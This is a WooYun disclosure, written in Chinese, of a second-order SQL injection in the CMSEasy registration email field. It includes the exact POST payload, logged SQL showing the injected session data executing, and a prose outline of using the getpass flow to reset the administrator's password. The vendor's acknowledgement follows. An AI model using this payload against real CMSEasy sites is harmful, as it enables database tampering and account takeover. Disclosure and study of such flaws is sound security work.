漏洞概要 关注数(13) 关注此漏洞
缺陷编号: WooYun-2015-94341
漏洞标题: cmseasy sql二次注入漏洞
相关厂商: cmseasy
漏洞作者: menmen519
提交时间: 2015-01-28 15:10
公开时间: 2015-04-28 15:10
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 20
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: 无
漏洞详情
披露状态:
2015-01-28: 细节已通知厂商并且等待厂商处理中
2015-01-30: 厂商已经确认,细节仅向厂商公开
2015-02-02: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-03-26: 细节向核心白帽子及相关领域专家公开
2015-04-05: 细节向普通白帽子公开
2015-04-15: 细节向实习白帽子公开
2015-04-28: 细节向公众公开
简要描述:
cmseasy 可shell的漏洞
详细说明:
下载最新的cmseasy,发现有一处问题
用户注册处,email没有做任何限制,可以任意填写
我们发送url:
POST /cmseasylast/uploads/index.php?case=user&act=register HTTP/1.1
Host: localhost
postdata:
username=sql1231&password=111111&password2=111111&question=&answer=ccccc&e_mail=',data='openid|s:1:"2";' WHERE client_ip ='**.**.**.**'#&tel=010-10000000&address=1111111111111&verify=xxxxx&submit=+%E6%B3%A8%E5%86%8C+
此处由于是本地测试client_ip 可控制
e_mail:
',data='openid|s:1:"2";' WHERE client_ip ='**.**.**.**'#
这里存到了数据库,如图所示:
这里的email字段长度为50 故而我们这样写
然后我们在看看这一处
看到了没有 这里从数据库获取出来然后直接 进入写session 操作 ,问题来了
刚才注入的东西已经被还原 造成二次注入
我们访问:
http://localhost/cmseasylast/uploads/index.php?case=user&act=getpass
postdata:
username=sql1231&step=1
然后去数据库查看此时的sessiondata:
看到了没有 这时候在从session获取就会被解析出来
抓取到的后台数据库为:
2015/1/28 12:10 UPDATE cmseasy_sessionox SET update_time='1422418220',data='openid|s:1:"2";username|s:7:"sql1231";answer|N;e_mail|s:54:"',data='openid|s:1:"2";' WHERE client_ip ='**.**.**.**'#";ischk|s:4:"true";' WHERE PHPSESSID = '6237151960f8ca8247d114b1c52f41f2'
2015/1/28 12:10 UPDATE cmseasy_sessionox SET update_time='1422418221',data='openid|s:1:"2";username|s:4:"test";' WHERE PHPSESSID = '6237151960f8ca8247d114b1c52f41f2'
解析过程成功执行,那么我们怎么去搞到shell
也就是说进入到后台:
getpass_action:
当step==3时候email 在session我们可以控制成我们自己的email 然后填写管理员或者任何人的用户名
填写必要信息,就会把其他人的用户密码更改
这个 过程我就不分析了 代码自然可以看懂
漏洞证明:
修复方案:
版权声明:转载请注明来源 menmen519@乌云
漏洞回应
厂商回应:
危害等级:低
漏洞Rank:1
确认时间:2015-01-30 20:36
厂商回复:
谢谢
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值